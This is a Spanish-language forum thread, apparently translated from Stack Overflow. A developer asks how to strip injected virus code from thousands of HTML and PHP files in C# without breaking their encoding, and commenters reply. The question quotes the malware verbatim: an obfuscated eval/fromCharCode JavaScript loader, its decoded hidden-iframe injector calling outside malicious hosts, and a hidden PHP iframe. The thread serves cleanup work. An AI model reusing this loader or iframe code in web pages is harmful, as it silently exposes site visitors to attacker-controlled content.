Necesito descargar de FTP más de 5000 archivos siendo .html y .php. Necesito leer cada archivo y eliminar algunas cosas que el virus puso allí y guardarlo de nuevo en FTP.¿Se puede leer y escribir un archivo directamente con pequeños cambios sin conocer su codificación en C#?
Estoy utilizando el código siguiente:
string content;
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) {
content = sr.ReadToEnd();
sr.Close();
}
using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8))
{
sw.WriteLine(content);
sw.Close();
}
he descargado algunos archivos a mano y algunos tienen <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" />
pero no me gustaría asumir todos ellos son así. Lo comprobé con Notepad ++ y algunos archivos de texto son ANSI. PHP parece ser UTF-8 y HTML Windows-1250, pero preferiría asegurarme de no romper los archivos mientras trato de arreglarlo. Entonces, ¿hay alguna manera de que no tenga que saber/adivinar la codificación y me permita eliminar los enlaces de virus de las páginas web?
Editar. Estoy tratando de encontrar y eliminar algo como esto:
var s = new String(); try {document.rvwrew.vewr} catch (q) {r = 1, c = cadena;} if (r & & document.createTextNode) u = 2; e = eval; m = [4.5 * u, 18/u, 52.5 * u, 204/u, 16 * u, 80/u, 50 * u, 222/u , 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 206/u, 50.5 * u, 232/u, 34.5 * u, 216/u, 50.5 * u, 218/u, 50.5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51.5 * u, 156/u, 48.5 * u , 218/u, 50.5 * u, 80/u, 19.5 * u, 196/u, 55.5 * u, 200/u, 60.5 * u, 78/u, 20.5 * u, 182/u, 24 * u, 186 /u.20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u , 20 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 250/u, 16 * u, 202/u, 54 * u, 230/u, 50.5 * u, 64/u, 61.5 * u, 18/u, 4.5 * u, 18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u , 238/u, 57 * u, 210/u, 58 * u, 202/u, 20 * u, 68/u, 30 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 64/u, 57.5 * u, 228/u, 49.5 * u, 122/u, 19.5 * u, 208/u, 58 * u, 232/u, 56 * u, 116/u, 23.5 * u, 94/u, 51 * u, 210/u, 49 * u, 202/u, 57 * u, 194/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * u, 198/u, 55.5 * u, 218/u, 23.5 * u, 232/u, 50.5 * u, 218/u, 56 * u, 94/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * u, 224/u, 52 * u, 224/u, 19.5 * u, 64/u, 59.5 * u, 210/u, 50 * u, 232/u, 52 * u, 122/u, 19.5 * u, 98/u, 24 * u, 78/u, 16 * u, 208/u, 50.5 * u, 210/u, 51.5 * u, 208/u, 58 * u, 122/u, 19.5 * u, 98/u, 24 * u, 78/u, 16 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 30.5 * u, 78/u, 59 * u, 210/u, 57.5 * u, 210/u, 49 * u, 210/u, 54 * u, 210/u, 58 * u, 242/u, 29 * u, 208/u, 52.5 * u, 200/u, 50 * u, 202/u, 55 * u, 118/u, 56 * u, 222/u, 57.5 * u, 210/u, 58 * u, 210/u, 55.5 * u , 220/u, 29 * u, 194/u, 49 * u, 230/u, 55.5 * u, 216/u, 58.5 * u, 232/u, 50.5 * u, 118/u, 54 * u, 202 /u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u.224/u.29*u,96/u,29.5*u,78/u , 31 * u, 120/u, 23.5 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 124/u, 17 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 250/u, 4.5 * u, 18/u, 51 * u, 234/u, 55 * u, 198/u, 58 * u, 210/u, 55.5 * u , 220/u, 16 * u, 210/u, 51 * u, 228/u, 48.5 * u, 218/u, 50.5 * u, 228/u, 20 * u, 82/u, 61.5 * u, 18 /u.4.5*u.18/u, 59 * u, 194/u, 57 * u, 64/u, 51 * u, 64/u, 30.5 * u, 64/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 198/u, 57 * u, 202/u, 48.5 * u, 232/u, 50.5 * u, 138/u, 54 * u, 202/u, 54.5 * u, 202/u, 55 * u, 232/u, 20 * u, 78/u, 52.5 * u, 204/u, 57 * u, 194/u, 54.5 * u, 202/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 50.5 * u, 232/u, 32.5 * u, 232/u, 58 * u, 228/u, 52.5 * u, 196/u, 58.5 * u, 232/u, 50.5 * u, 80/u, 19.5 * u, 230/u, 57 * u, 198/u, 19.5 * u, 88/u, 19.5 * u, 208/u, 58 * u, 232/u, 56 * u, 116/u, 23.5 * u, 94/u, 51 * u, 210/u, 49 * u, 202/u, 57 * u, 194/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * u, 198/u, 55.5 * u, 218/u, 23.5 * u, 232/u, 50.5 * u, 218/u, 56 * u, 94/u, 57.5 * u, 232/u, 48.5 * u, 232/u, 23 * u, 224/u, 52 * u, 224/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 236/u, 52.5 * u, 230/u, 52.5 * u, 196/u, 52.5 * u, 216/u, 52.5 * u, 232/u, 60.5 * u, 122/u, 19.5 * u, 208/u, 52.5 * u, 200/u, 50 * u , 202/u, 55 * u, 78/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 224 /u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u.194/u,49*u,230/u , 55.5 * u, 216/u, 58.5 * u, 232/u, 50.5 * u, 78/u, 29.5 * u, 204/u, 23 * u, 230/u, 58 * u, 242/u, 54 * u, 202/u, 23 * u, 216/u, 50.5 * u, 204/u, 58 * u, 122/u, 19.5 * u, 96/u, 19.5 * u, 118/u, 51 * u, 92/u, 57.5 * u, 232/u, 60.5 * u, 216/u, 50.5 * u, 92/u, 58 * u, 222/u, 56 * u, 122/u, 19.5 * u, 96/u, 19.5 * u, 118/u, 51 * u, 92/u, 57.5 * u, 202/u, 58 * u, 130/u, 58 * u, 232/u, 57 * u, 210/u, 49 * u, 234/u, 58 * u, 202/u, 20 * u, 78/u, 59.5 * u, 210/u, 50 * u, 232/u, 52 * u, 78/u, 22 * u, 78/u, 24.5 * u, 96/u, 19.5 * u, 82/u, 29.5 * u, 204/u, 23 * u, 230/u, 50.5 * u, 232/u, 32.5 * u, 232/u, 58 * u, 228/u, 52.5 * u, 196/u, 58.5 * u, 232/u, 50.5 * u, 80/u, 19.5 * u, 208/u, 50.5 * u, 210/u, 51.5 * u, 208/u, 58 * u, 78/u, 22 * u, 78/u, 24.5 * u, 96/u, 19.5 * u, 82/u, 29.5 * u, 18/u, 4.5 * u, 18/u, 50 * u, 222/u, 49.5 * u, 234/u, 54.5 * u, 202/u, 55 * u, 232/u, 23 * u, 206/u, 50.5 * u, 232/u, 34.5 * u, 216/u, 50.5 * u, 218/u, 50.5 * u, 220/u, 58 * u, 230/u, 33 * u, 242/u, 42 * u, 194/u, 51.5 * u, 156/u, 48.5 * u, 218/u, 50.5 * u, 80/u, 19.5 * u, 196/u, 55.5 * u, 200/u, 60.5 * u, 78/u, 20.5 * u, 182/u, 24 * u, 186/u, 23 * u, 194/u, 56 * u, 224/u, 50.5 * u, 220/u, 50 * u, 134/u, 52 * u, 210/u, 54 * u, 200/u, 20 * u, 204/u, 20.5 * u, 118/u, 4.5 * u, 18/u, 62.5 * u]; if (document.createTextNode) con (c) mm = fromCharCode; for (i = 0; i! = M.length; i ++) s + = mm (e ("m" + "[ "+" i "+ ']')); try {doc.qwe.removeChild()} catch (q) {e (s);}
que después de la decodificación es
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://fiberastat.com/temp/stat.php');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}
Y cuando visitas una página web, te dice esto (después de la decodificación). se añade
if (document.getElementsByTagName('body')[0]) {
iframer();
} else {
document.write("");
}
function iframer() {
var f = document.createElement('iframe');
f.setAttribute('src', 'http://vtempe.in/in.cgi?17');
f.style.visibility = 'hidden';
f.style.position = 'absolute';
f.style.left = '0';
f.style.top = '0';
f.setAttribute('width', '10');
f.setAttribute('height', '10');
document.getElementsByTagName('body')[0].appendChild(f);
}
La secuencia de comandos a las 3 últimas líneas y comienza básicamente justo después </html>
var
El script PHP tiene más o menos este tipo de línea <iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe>
pero puede estar en cualquier lugar en el archivo.
No estoy seguro de si hay alguna otra manera de volver a escribir esos archivos. Pero tener que pasar por 5000 archivos parece demasiado arriesgado :-)
Si está modificando los archivos, va a tener que saber la codificación o está prácticamente garantizado que romperá algo. – Dave
Sólo un pensamiento, pero ¿no tienes versiones limpias de estos archivos antes de que el virus los atrapara, ya sea los originales que se cargaron o una copia de seguridad? Si no, eso es algo en lo que se debe pensar para seguir adelante. –
No. Un nuevo cliente me contactó hoy y básicamente todo lo que tiene es un grupo de archivos con 2 tipos de entradas. He actualizado la pregunta con el 'código problemático'. – MadBoy